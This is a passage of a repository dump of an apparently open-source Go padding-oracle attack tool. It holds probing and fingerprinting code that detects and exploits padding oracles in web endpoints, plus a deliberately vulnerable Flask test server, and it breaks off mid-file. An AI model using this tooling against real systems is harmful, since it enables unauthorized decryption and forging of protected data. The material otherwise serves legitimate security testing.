    "content": "package exploit\n\nimport (\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/probe\"\n)\n\ntype Padre struct {\n\tClient   *client.Client\n\tMatcher  probe.PaddingErrorMatcher\n\tBlockLen int\n}\n"
  },
  {
    "path": "pkg/exploit/probes.go",
    "content": "package exploit\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// detect byte values that do not produce padding error\n// early-stop when maxCount of such bytes reached\nfunc (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount int) ([]byte, error) {\n\t// the context \twill be cancelled upon returning from function\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\t// container for bytes that do not produce padding error\n\tgoodBytes := make([]byte, 0, maxCount)\n\n\tchanResult := make(chan *client.ProbeResult, 256)\n\n\t// do probing\n\tgo p.Client.SendProbes(ctx, chunk, pos, chanResult)\n\n\t// process result\n\tfor result := range chanResult {\n\t\tif result.Err != nil {\n\t\t\treturn nil, result.Err\n\t\t}\n\n\t\t// test for padding error\n\t\tisErr, err := p.Matcher.IsPaddingError(result.Response)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// collect the right bytes\n\t\tif !isErr {\n\t\t\tgoodBytes = append(goodBytes, result.Byte)\n\t\t\t// early exit of maxCount reached\n\t\t\tif len(goodBytes) == maxCount {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn goodBytes, nil\n}\n\n// test concrete chunk for padding oracle\nfunc (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) {\n\t// send\n\tresp, err := p.Client.DoRequest(context.Background(), chunk)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// test for padding oracle\n\treturn p.Matcher.IsPaddingError(resp)\n}\n"
  },
  {
    "path": "pkg/exploit/util.go",
    "content": "package exploit\n\nimport \"strings\"\n\n// XORs 2 slices of bytes\nfunc xorSlices(s1 []byte, s2 []byte) []byte {\n\tif len(s1) != len(s2) {\n\t\tpanic(\"lengths of slices not equal\")\n\t}\n\n\toutput := make([]byte, len(s1))\n\n\tfor i := 0; i < len(s1); i++ {\n\t\toutput[i] = s1[i] ^ s2[i]\n\t}\n\n\treturn output\n}\n\nfunc Pkcs7Pad(input string, blockLen int) string {\n\tpadding := blockLen - len(input)%blockLen\n\treturn input + strings.Repeat(string(byte(padding)), padding)\n}\n\nfunc newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) {\n\t// position at last byte of xorArg slice\n\tpos := len(xorArg) - 1\n\n\treturn func(input byte) {\n\t\toutChan <- (xorArg[pos] ^ input)\n\t\tpos--\n\t}\n}\n"
  },
  {
    "path": "pkg/output/hackybar.go",
    "content": "package output\n\nimport (\n\t\"fmt\"\n\t\"math/rand\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/encoder\"\n)\n\n// output refresh frequency (times/second)\nconst updateFreq = 13\n\n// HackyBar is the dynamically changing bar in status line.\n// The bar reflects current state of output calculation.\n// Apart from currently calculated part of output, it also shows yet-unknown part as a random mix of ASCII characters.\n// This bar is designed to be fun and fast-changing.\n// It also shows HTTP-client performance in real-time, such as: total http requests sent, average RPS\ntype HackyBar struct {\n\t// output info\n\tprinter       *Printer        // printer to use\n\toutputData    []byte          // container for byte-output\n\toutputByteLen int             // total number of bytes in output (before encoding)\n\tencoder       encoder.Encoder // encoder for the byte-output\n\tOverflow      bool            // flag: terminal width overflowed, data was too wide\n\n\t// communications\n\tChanOutput chan byte      // delivering every byte of output via this channel\n\tChanReq    chan byte      // to deliver indicator of yet-another http request made\n\twg         sync.WaitGroup // used to wait for gracefull exit after stop signal sent\n\n\t// RPS calculation\n\tstart        time.Time // the time of first request made, needed to properly calculate RPS\n\trequestsMade int       // total requests made, needed to calculate RPS\n\trps          int       // RPS\n\n\t// the output properties\n\tautoUpdateFreq time.Duration // interval at which the bar must be updated\n\tencryptMode    bool          // whether encrypt mode is used\n}\n\nfunc CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptMode bool, printer *Printer) *HackyBar {\n\treturn &HackyBar{\n\t\toutputData:     []byte{},\n\t\toutputByteLen:  outputByteLen,\n\t\twg:             sync.WaitGroup{},\n\t\tChanOutput:     make(chan byte, 1),\n\t\tChanReq:        make(chan byte, 256),\n\t\tautoUpdateFreq: time.Second / time.Duration(updateFreq),\n\t\tencoder:        encoder,\n\t\tencryptMode:    encryptMode,\n\t\tprinter:        printer,\n\t}\n}\n\n// stops the bar\nfunc (p *HackyBar) Stop() {\n\tclose(p.ChanOutput)\n\tp.wg.Wait()\n}\n\n// starts the bar\nfunc (p *HackyBar) Start() {\n\tgo p.listenAndPrint()\n}\n\n/* designed to be run as goroutine.\ncollects information about current progress and then prints the info in HackyBar */\nfunc (p *HackyBar) listenAndPrint() {\n\tvar (\n\t\t// time since last print\n\t\tlastPrint time.Time\n\n\t\t// flag: output channel closed (no more data expected)\n\t\toutputChanClosed bool\n\n\t\t// counter for total output bytes received\n\t\toutputBytesReceived int\n\t)\n\n\tp.wg.Add(1)\n\tdefer p.wg.Done()\n\n\t/* listen for incoming events */\n\tfor {\n\t\tselect {\n\t\t/* yet another output byte produced */\n\t\tcase b, ok := <-p.ChanOutput:\n\t\t\tif ok {\n\t\t\t\tp.outputData = append([]byte{b}, p.outputData...) //TODO: optimize this\n\t\t\t\toutputBytesReceived++\n\t\t\t} else {\n\t\t\t\toutputChanClosed = true\n\t\t\t}\n\n\t\t/* yet another HTTP request was made. Update stats */\n\t\tcase <-p.ChanReq:\n\t\t\tif p.requestsMade == 0 {\n\t\t\t\tp.start = time.Now()\n\t\t\t}\n\t\t\tp.requestsMade++\n\n\t\t\tsecsPassed := int(time.Since(p.start).Seconds())\n\t\t\tif secsPassed > 0 {\n\t\t\t\tp.rps = p.requestsMade / int(secsPassed)\n\t\t\t}\n\n\t\t}\n\n\t\t// the final status print\n\t\tif outputChanClosed || outputBytesReceived == p.outputByteLen {\n\t\t\t// avoid hacky mode\n\t\t\t// this is because stop can be requested when some error happened,\n\t\t\t// it that case we don't need to noise the unprocessed part of output with hacky string\n\t\t\tstatusString := p.buildStatusString(false)\n\t\t\tp.printer.Println(statusString)\n\t\t\treturn\n\t\t}\n\n\t\t// usual output (still in progress)\n\t\tif time.Since(lastPrint) > p.autoUpdateFreq {\n\t\t\tstatusString := p.buildStatusString(true)\n\t\t\tp.printer.Printcr(statusString)\n\t\t\tlastPrint = time.Now()\n\t\t}\n\t}\n}\n\n/* constructs full status string to be displayed */\nfunc (p *HackyBar) buildStatusString(hacky bool) string {\n\t/* the hacky-bar string is comprised of following parts |unknownOutput|knownOutput|stats|\n\t- unknown output is the part of output that is not yet calculated, it is represented as 'hacky' string\n\t- known output is the part of output that is already calculated, it is represented as output, encoded with *p.encoder\n\t- stats\n\t*/\n\n\t/* generate unknown output */\n\tunprocessedLen := p.outputByteLen - len(p.outputData)\n\tif p.encryptMode {\n\t\tunprocessedLen = len(p.encoder.EncodeToString(make([]byte, unprocessedLen)))\n\t}\n\tunknownOutput := unknownString(unprocessedLen, hacky)\n\n\t/* generate known output */\n\tknownOutput := p.encoder.EncodeToString(p.outputData)\n\n\t/* generate stats */\n\tstats := fmt.Sprintf(\n\t\t\"[%d/%d] | reqs: %d (%d/sec)\", len(p.outputData), p.outputByteLen, p.requestsMade, p.rps)\n\n\t/* get available space */\n\tavailableSpace := p.printer.AvailableWidth - len(stats) - 1 // -1 is for the space between output and stats\n\tif availableSpace < 5 {\n\t\t// a general fool-check\n\t\tpanic(\"Your terminal is to narrow. Use a real one\")\n\t}\n\n\t/* if we have enough space, the logic is simple */\n\tif availableSpace >= len(unknownOutput)+len(knownOutput) {\n\t\toutput := unknownOutput + color.HiGreenBold(knownOutput)\n\n\t\t// pad with spaces to make stats always appear at the right edge of the screen\n\t\toutput += strings.Repeat(\" \", availableSpace-len(unknownOutput)-len(knownOutput))\n\t\treturn fmt.Sprintf(\"%s %s\", output, stats)\n\t}\n\n\t/* if we made it to here, we need to cut the output to fit into the available space\n\tthe main idea is to choose the split-point - the poisition at which unknown output ends and known output starts */\n\n\t// at first, chose at 1/3 of available space\n\tsplitPoint := availableSpace / 3\n\n\t// correct if knownOutput is too short yet\n\tif len(knownOutput) < availableSpace-splitPoint {\n\t\tsplitPoint = availableSpace - len(knownOutput)\n\t} else if len(unknownOutput) < splitPoint {\n\t\t// correct if unknownOutput is too short\n\t\tsplitPoint = len(unknownOutput)\n\t}\n\n\t// put ... into the end of knownOutput if it's too long\n\tif len(knownOutput) > availableSpace-splitPoint {\n\t\tknownOutput = knownOutput[:availableSpace-splitPoint-3] + `...`\n\t\tp.Overflow = true\n\t}\n\n\toutputString := unknownOutput[:splitPoint] + color.HiGreenBold(knownOutput)\n\n\t/* return the final string */\n\treturn fmt.Sprintf(\"%s %s\", outputString, stats)\n}\n\n/* generates string that represents the yet-unknown portion of output\nwhen in 'hacky' mode, will produce random characters form ASCII printable range*/\nfunc unknownString(n int, hacky bool) string {\n\tb := make([]byte, n)\n\tfor i := range b {\n\n\t\tif hacky {\n\t\t\tb[i] = byte(rand.Intn(126-33) + 33) // byte from ASCII printable range\n\t\t} else {\n\t\t\tb[i] = '_'\n\t\t}\n\t}\n\treturn string(b)\n}\n"
  },
  {
    "path": "pkg/output/prefix.go",
    "content": "package output\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nconst (\n\tspace = ` `\n)\n\n// represents a current prefix\n// the prefix allows for contexted printing\n// the prefixes can be nested using outterPrefix attribute\n// the top-most prefix has outterPrefix equal to nil\ntype prefix struct {\n\tprefix       string  // the prefix to be output\n\tindent       string  // indent to iutput on second+ lines of multiline outputs\n\tlen          int     // length of prefix and indent\n\tlineFeeded   bool    // flag: line feeded (=true when first line was already output)\n\toutterPrefix *prefix // pointer to outter parent prefix\n\tparagraph    bool    // whether this prefix is paragraph\n}\n\n// renders prefix as string\nfunc (p *prefix) string() string {\n\tvar s string\n\n\t// form own prefix as string\n\tif p.lineFeeded && p.paragraph {\n\t\ts = p.indent\n\t} else {\n\t\ts = p.prefix + space\n\t}\n\n\t// add outter prefix (if any)\n\tif p.outterPrefix == nil {\n\t\treturn s\n\t}\n\treturn p.outterPrefix.string() + s\n}\n\n// sets lineFeeded flag\nfunc (p *prefix) setLF() {\n\tp.lineFeeded = true\n\tif p.outterPrefix != nil {\n\t\tp.outterPrefix.setLF()\n\t}\n}\n\n// creates new prefix from string\nfunc newPrefix(s string, outter *prefix, paragraph bool) *prefix {\n\tspaceTaken := color.TrueLen(s) + 1 // prefix + space\n\treturn &prefix{\n\t\tprefix:       s,\n\t\tindent:       strings.Repeat(space, spaceTaken),\n\t\tlen:          spaceTaken,\n\t\toutterPrefix: outter,\n\t\tparagraph:    paragraph,\n\t}\n}\n"
  },
  {
    "path": "pkg/output/printer.go",
    "content": "package output\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\n// some often used strings\nconst (\n\t_LF = \"\\n\"           // LF Line feed\n\t_CR = \"\\x1b\\x5b2K\\r\" // Clear Line + CR Carret return\n)\n\n// Printer is the printing facility\ntype Printer struct {\n\tStream         io.Writer // the ultimate stream to print into\n\tAvailableWidth int       // available terminal width\n\tcr             bool      // flag: caret return requested on next print (= print on same line please)\n\tprefix         *prefix   // current  prefix to use\n}\n\n// base internal print, everyone else must build upon this\nfunc (p *Printer) print(s string) {\n\tfmt.Fprint(p.Stream, s)\n}\n\nfunc (p *Printer) Print(s string) {\n\t// CR debt ?\n\tif p.cr {\n\t\tp.print(_CR)\n\t\tp.cr = false\n\t}\n\n\t// prefix\n\tif p.prefix != nil {\n\t\tp.print(p.prefix.string())\n\t}\n\n\t// print the contents\n\tp.print(s)\n}\n\n// AddPrefix adds one more prefix to current printer\nfunc (p *Printer) AddPrefix(s string, paragraph bool) {\n\tp.prefix = newPrefix(s, p.prefix, paragraph)\n\tp.AvailableWidth -= p.prefix.len\n}\n\nfunc (p *Printer) RemovePrefix() {\n\tp.AvailableWidth += p.prefix.len\n\tp.prefix = p.prefix.outterPrefix\n}\n\nfunc (p *Printer) Println(s string) {\n\tp.Print(s)\n\tp.print(_LF)\n\n\t// set flag that line was feeded\n\tif p.prefix != nil {\n\t\tp.prefix.setLF()\n\t}\n}\n\nfunc (p *Printer) Printcr(s string) {\n\tp.Print(s)\n\tp.cr = true\n}\n\nfunc (p *Printer) Printf(format string, a ...interface{}) {\n\tp.Print(fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Printlnf(format string, a ...interface{}) {\n\tp.Println(fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Printcrf(format string, a ...interface{}) {\n\tp.Printcr(fmt.Sprintf(format, a...))\n\tp.cr = true\n}\n\nfunc (p *Printer) PrintWithPrefix(prefix, message string) {\n\tp.AddPrefix(prefix, false)\n\tp.Println(message)\n\tp.RemovePrefix()\n}\n\nfunc (p *Printer) Error(err error) {\n\tp.PrintWithPrefix(color.RedBold(\"[-]\"), color.Red(err))\n}\n\nfunc (p *Printer) Errorf(format string, a ...interface{}) {\n\tp.Error(fmt.Errorf(format, a...))\n}\n\nfunc (p *Printer) Hint(format string, a ...interface{}) {\n\tp.PrintWithPrefix(color.CyanBold(\"[hint]\"), fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Warning(format string, a ...interface{}) {\n\tp.PrintWithPrefix(color.YellowBold(\"[!]\"), fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Success(format string, a ...interface{}) {\n\tp.PrintWithPrefix(color.GreenBold(\"[+]\"), fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Info(format string, a ...interface{}) {\n\tp.PrintWithPrefix(color.CyanBold(\"[i]\"), fmt.Sprintf(format, a...))\n}\n\nfunc (p *Printer) Action(s string) {\n\tp.Printcr(color.Yellow(s))\n}\n"
  },
  {
    "path": "pkg/probe/confirm.go",
    "content": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// confirms existence of padding oracle\n// returns true if confirmed, false otherwise\nfunc ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher, blockLen int) (bool, error) {\n\t// create random block of ciphertext (IV prepended)\n\tcipher := util.RandomSlice(blockLen * 2)\n\n\t// test last byte of IV\n\tpos := blockLen - 1\n\n\t// channel to soak results\n\tchanResult := make(chan *client.ProbeResult, 256)\n\n\t// send probes\n\tgo c.SendProbes(context.Background(), cipher, pos, chanResult)\n\n\t// count padding errors\n\tcount := 0\n\tfor result := range chanResult {\n\t\tif result.Err != nil {\n\t\t\treturn false, result.Err\n\t\t}\n\t\tisErr, err := matcher.IsPaddingError(result.Response)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\tif isErr {\n\t\t\tcount++\n\t\t}\n\t}\n\n\t// padding oracle must produce exactly 254 or 255 errors\n\treturn count == 254 || count == 255, nil\n}\n"
  },
  {
    "path": "pkg/probe/detect.go",
    "content": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// attempts to auto-detect padding oracle fingerprint\nfunc DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (PaddingErrorMatcher, error) {\n\t// create random block of ciphertext (IV prepended)\n\tcipher := util.RandomSlice(blockLen * 2)\n\n\t// test last byte of IV\n\tpos := blockLen - 1\n\n\t// channel to soak results\n\tchanResult := make(chan *client.ProbeResult, 256)\n\n\t// fingerprint probes\n\tgo c.SendProbes(context.Background(), cipher, pos, chanResult)\n\n\t// collect counts of fingerprints\n\tfpMap := map[ResponseFingerprint]int{}\n\tfor result := range chanResult {\n\t\tif result.Err != nil {\n\t\t\t// error during probes\n\t\t\treturn nil, result.Err\n\t\t}\n\n\t\tfp, err := GetResponseFingerprint(result.Response)\n\t\tif err != nil {\n\t\t\t// error during fingerprinting\n\t\t\treturn nil, result.Err\n\t\t}\n\n\t\tfpMap[*fp]++\n\t}\n\n\t// padding oracles respond with predictable count of unique fingerprints\n\t// following factors must be considered:\n\t// a. some padding implmementations 'incorrect' padding from 'errornous' padding\n\t// (e.g. if you pad cipher with block length of 16 with values grater than 16)\n\n\t// padre considers following fingerprint counts as indication of padding error\n\tpatterns := [][]int{\n\t\t{255, 1},\n\t\t{254, 2},\n\t\t{256 - blockLen, blockLen - 1, 1},\n\t\t{256 - blockLen, blockLen - 2, 2},\n\t}\n\n\t// check if any of count-patterns matches\npatternLoop:\n\tfor _, pat := range patterns {\n\t\tfingerprints := make([]ResponseFingerprint, 0)\n\n\t\tfor fp, count := range fpMap {\n\t\t\tif inSlice(pat, count) {\n\t\t\t\t// do not include fingerprint of non-error response (last position in pattern)\n\t\t\t\tif count != pat[len(pat)-1] {\n\t\t\t\t\tfingerprints = append(fingerprints, fp)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcontinue patternLoop\n\t\t\t}\n\t\t}\n\n\t\t// if we made it to here, we found a padding oracle\n\t\t// return the matcher\n\t\treturn &matcherByFingerprint{\n\t\t\tfingerprints: fingerprints,\n\t\t}, nil\n\t}\n\treturn nil, nil\n}\n\nfunc inSlice(slice []int, value int) bool {\n\tfor _, i := range slice {\n\t\tif value == i {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/probe/fingerprint.go",
    "content": "package probe\n\nimport (\n\t\"unicode\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// ResponseFingerprint ...\ntype ResponseFingerprint struct {\n\tStatusCode int\n\tLines      int\n\tWords      int\n}\n\n// GetResponseFingerprint - scrape fingerprint form http response\nfunc GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint, error) {\n\treturn &ResponseFingerprint{\n\t\tStatusCode: resp.StatusCode,\n\t\tLines:      countLines(resp.Body),\n\t\tWords:      countWords(resp.Body),\n\t}, nil\n}\n\n// helper: count number of lines in input\nfunc countLines(input []byte) int {\n\tif len(input) == 0 {\n\t\treturn 0\n\t}\n\tcount := 1\n\tfor _, b := range input {\n\t\tif b == '\\n' {\n\t\t\tcount++\n\t\t}\n\t}\n\treturn count\n}\n\n// helper: count number of lines in input\nfunc countWords(input []byte) int {\n\tinWord, count := false, 0\n\tfor _, r := range string(input) {\n\t\tif unicode.IsSpace(r) {\n\t\t\tinWord = false\n\t\t} else if !inWord {\n\t\t\tinWord = true\n\t\t\tcount++\n\t\t}\n\t}\n\treturn count\n}\n"
  },
  {
    "path": "pkg/probe/interface.go",
    "content": "package probe\n\nimport \"github.com/glebarez/padre/pkg/client\"\n\n// PaddingErrorMatcher - tests if HTTP response matches with padding error\ntype PaddingErrorMatcher interface {\n\tIsPaddingError(*client.Response) (bool, error)\n}\n"
  },
  {
    "path": "pkg/probe/matcher.go",
    "content": "package probe\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\ntype matcherByFingerprint struct {\n\tfingerprints []ResponseFingerprint\n}\n\nfunc (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (bool, error) {\n\n\trespFP, err := GetResponseFingerprint(resp)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tfor _, fp := range m.fingerprints {\n\t\tif fp == *respFP {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\treturn false, nil\n}\n\ntype matcherByRegexp struct {\n\tre *regexp.Regexp\n}\n\nfunc (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool, error) {\n\treturn m.re.Match(resp.Body), nil\n}\n\nfunc NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) {\n\tre, err := regexp.Compile(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &matcherByRegexp{re}, nil\n}\n"
  },
  {
    "path": "pkg/util/http.go",
    "content": "package util\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// ParseCookies parses cookies in raw string format into net/http format\nfunc ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) {\n\t// initial string produces emtpty cookies\n\tif cookies == \"\" {\n\t\treturn []*http.Cookie{}, nil\n\t}\n\n\t// strip quotes if any\n\tcookies = strings.Trim(cookies, `\"'`)\n\n\t// split several cookies into slice\n\tcookieS := strings.Split(cookies, \";\")\n\n\tfor _, c := range cookieS {\n\t\t// strip whitespace\n\t\tc = strings.TrimSpace(c)\n\n\t\t// split to name and value\n\t\tnameVal := strings.SplitN(c, \"=\", 2)\n\t\tif len(nameVal) != 2 || strings.Contains(nameVal[1], \"=\") {\n\t\t\treturn nil, errors.New(\"failed to parse cookie\")\n\t\t}\n\n\t\tcookSlice = append(cookSlice, &http.Cookie{Name: nameVal[0], Value: nameVal[1]})\n\t}\n\treturn cookSlice, nil\n}\n\n// DetectContentType detects HTTP content type based on provided POST data\nfunc DetectContentType(data string) string {\n\tvar contentType string\n\n\tif data[0] == '{' || data[0] == '[' {\n\t\tcontentType = \"application/json\"\n\t} else {\n\t\tmatch, _ := regexp.MatchString(\"([^=]+=[^=]+&?)+\", data)\n\t\tif match {\n\t\t\tcontentType = \"application/x-www-form-urlencoded\"\n\t\t} else {\n\t\t\tcontentType = http.DetectContentType([]byte(data))\n\t\t}\n\t}\n\treturn contentType\n}\n"
  },
  {
    "path": "pkg/util/http_test.go",
    "content": "package util\n\nimport (\n\t\"net/http\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestParseCookies(t *testing.T) {\n\ttype args struct {\n\t\tcookies string\n\t}\n\ttests := []struct {\n\t\tname          string\n\t\targs          args\n\t\twantCookSlice []*http.Cookie\n\t\twantErr       bool\n\t}{\n\t\t{\"empty\", args{\"\"}, []*http.Cookie{}, false},\n\t\t{\"normal\", args{\"key=val\"}, []*http.Cookie{{Name: \"key\", Value: \"val\"}}, false},\n\t\t{\"errornous\", args{\"key=val=1\"}, nil, true},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgotCookSlice, err := ParseCookies(tt.args.cookies)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"ParseCookies() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(gotCookSlice, tt.wantCookSlice) {\n\t\t\t\tt.Errorf(\"ParseCookies() = %v, want %v\", gotCookSlice, tt.wantCookSlice)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestDetectContentType(t *testing.T) {\n\ttype args struct {\n\t\tdata string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant string\n\t}{\n\t\t{\"json-object\", args{\"{'a':1}\"}, \"application/json\"},\n\t\t{\"json-array\", args{\"[{'a':1}]\"}, \"application/json\"},\n\t\t{\"form\", args{\"a=1&b=2\"}, \"application/x-www-form-urlencoded\"},\n\t\t{\"text\", args{\"text\"}, http.DetectContentType([]byte(\"text\"))},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := DetectContentType(tt.args.data); got != tt.want {\n\t\t\t\tt.Errorf(\"DetectContentType() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/util/random.go",
    "content": "package util\n\nimport (\n\t\"bytes\"\n\t\"container/ring\"\n\t\"math/rand\"\n)\n\n// ring buffer for generating random chunks of bytes\nvar randomRing *ring.Ring\n\nfunc init() {\n\tmysteriousData := []byte{\n\t\t0x67, 0x6c, 0x65, 0x62, 0x61, 0x72, 0x65, 0x7a,\n\t\t0x66, 0x65, 0x72, 0x73, 0x69, 0x6e, 0x67, 0x62}\n\n\trandomRing = ring.New(len(mysteriousData))\n\tfor _, b := range mysteriousData {\n\t\trandomRing.Value = b\n\t\trandomRing = randomRing.Next()\n\t}\n\n}\n\n// RandomSlice generates random slice of bytes with specified length\nfunc RandomSlice(len int) []byte {\n\tbuf := bytes.NewBuffer(make([]byte, 0, len))\n\n\tfor i := 0; i < len; i++ {\n\t\tbuf.WriteByte(randomRing.Value.(byte))\n\n\t\t// randomly move ring\n\t\trandomRing = randomRing.Move(rand.Intn(13))\n\t}\n\treturn buf.Bytes()\n}\n"
  },
  {
    "path": "pkg/util/random_test.go",
    "content": "package util\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRandomSlice(t *testing.T) {\n\tvar randoms = make([][]byte, 0, 10)\n\n\t// generate some random slices\n\tfor i := 0; i < 10; i++ {\n\t\tnewRandom := RandomSlice(13)\n\t\t// check uniqness\n\t\trequire.NotContains(t, randoms, newRandom)\n\t\trandoms = append(randoms, newRandom)\n\t}\n\n}\n"
  },
  {
    "path": "pkg/util/strings.go",
    "content": "package util\n\nimport \"strings\"\n\n// ReverseString returns reverse of a string (does not support runes)\nfunc ReverseString(in string) string {\n\tout := strings.Builder{}\n\tfor i := len(in) - 1; i >= 0; i-- {\n\t\tout.WriteByte(in[i])\n\t}\n\treturn out.String()\n}\n"
  },
  {
    "path": "pkg/util/strings_test.go",
    "content": "package util\n\nimport \"testing\"\n\nfunc TestReverseString(t *testing.T) {\n\ttype args struct {\n\t\tin string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant string\n\t}{\n\t\t{\"normal\", args{\"1234\"}, \"4321\"},\n\t\t{\"empty\", args{\"\"}, \"\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := ReverseString(tt.args.in); got != tt.want {\n\t\t\t\tt.Errorf(\"ReverseString() = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/util/terminal.go",
    "content": "package util\n\nimport (\n\t\"os\"\n\n\t\"github.com/mattn/go-isatty\"\n\t\"github.com/nsf/termbox-go\"\n)\n\n// TerminalWidth determines width of current terminal in characters\nfunc TerminalWidth() (int, error) {\n\tif err := termbox.Init(); err != nil {\n\t\treturn 0, err\n\t}\n\tw, _ := termbox.Size()\n\ttermbox.Close()\n\t// decrease length by 1 for safety\n\t// windows CMD sometimes needs this\n\treturn w - 1, nil\n}\n\n// IsTerminal checks whether file is a terminal\nfunc IsTerminal(file *os.File) bool {\n\treturn isatty.IsTerminal(file.Fd()) || isatty.IsCygwinTerminal(file.Fd())\n}\n"
  },
  {
    "path": "test_server/.dockerignore",
    "content": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
  },
  {
    "path": "test_server/.gitignore",
    "content": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
  },
  {
    "path": "test_server/.python-version",
    "content": "3.9.2\n"
  },
  {
    "path": "test_server/Dockerfile",
    "content": "FROM python:3.9\n\nWORKDIR /usr/src/app\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY . .\nEXPOSE 5000\nCMD [ \"python\", \"./server.py\" ]"
  },
  {
    "path": "test_server/README.md",
    "content": "## Test server that is (on-demand) vulnerable to Padding Oracle\nUse for testing purposes. AES only by now\n\n## Config\nConfiguration is done via setting environment variables\n|Env. variable | if not set | if set |\n|---|---|---|\n|VULNERABLE|Server **is not** vulnerable to padding oracle|Server **is** vulnerable to padding oracle|\n|SECRET|AES key will be generated randomly|AES key will generated from the secret phrase. Use to achieve reproducible outputs between server runs|\n|USE_GEVENT|Use Flask's built-in Web server|Use gevent's Web server (faster)\n\n## Run\n#### via Docker Compose\n```console\ndocker-compose up\n```\n#### via Docker\n```console\ndocker build -t pador_vuln_server .\ndocker run -it -p 5000:5000 pador_vuln_server\n```\n#### directly\n```console\npython server.py\n```\n\n\n\n"
  },
  {
    "path": "test_server/app.py",
    "content": "import functools\nimport hashlib\nimport traceback\n\nfrom flask import Flask, make_response, request\nfrom werkzeug.exceptions import HTTPException\n\nimport crypto\nimport encoder\nfrom encoder import Encoding\n\n\n@functools.lru_cache()\ndef AES_key():\n    secret = app.config.get(\"SECRET\", \"default-secret\")\n    return hashlib.md5(secret.encode()).digest()\n\n\napp = Flask(__name__)\n\n\ndef get_encoding(request):\n    # get encoding (defaults to Base64 if not specified)\n    encoding = request.values.get(\"enc\", None)\n    if encoding is None:\n        encoding = Encoding.B64.name\n    else:\n        encoding = encoding.upper()\n\n    return encoding\n\n\n# encrypts the plaintext\n@app.route(\"/encrypt\", methods=[\"GET\", \"POST\"])\ndef route_encrypt():\n    # get plaintext to encrypt\n    plain = request.values.get(\"plain\", None)\n    if plain is None:\n        raise ValueError(\n            \"Pass data to encrypt using 'plain' parameter in URL or POST data\"\n        )\n\n    # encrypt the data (encoded to bytes)\n    cipher = crypto.encrypt(plain.encode(), AES_key())\n\n    # get encoding\n    encoding = get_encoding(request)\n\n    # encode encrypted chunk\n    encoded_cipher = encoder.encode(data=cipher, encoding=Encoding[encoding])\n\n    # answer\n    return encoded_cipher, 200\n\n\n# decrypts the cipher\n@app.route(\"/decrypt\", methods=[\"GET\", \"POST\"])\ndef route_decrypt():\n    # get ciphertext\n    encoded_cipher = request.values.get(\"cipher\", None)\n    if encoded_cipher is None:\n        raise ValueError(\n            \"Pass encoded chipher to decrypt using 'cipher' parameter in URL or POST data\"\n        )\n\n    # get encoding\n    encoding = get_encoding(request)\n\n    # decode cipher into bytes\n    cipher = encoder.decode(data=encoded_cipher, 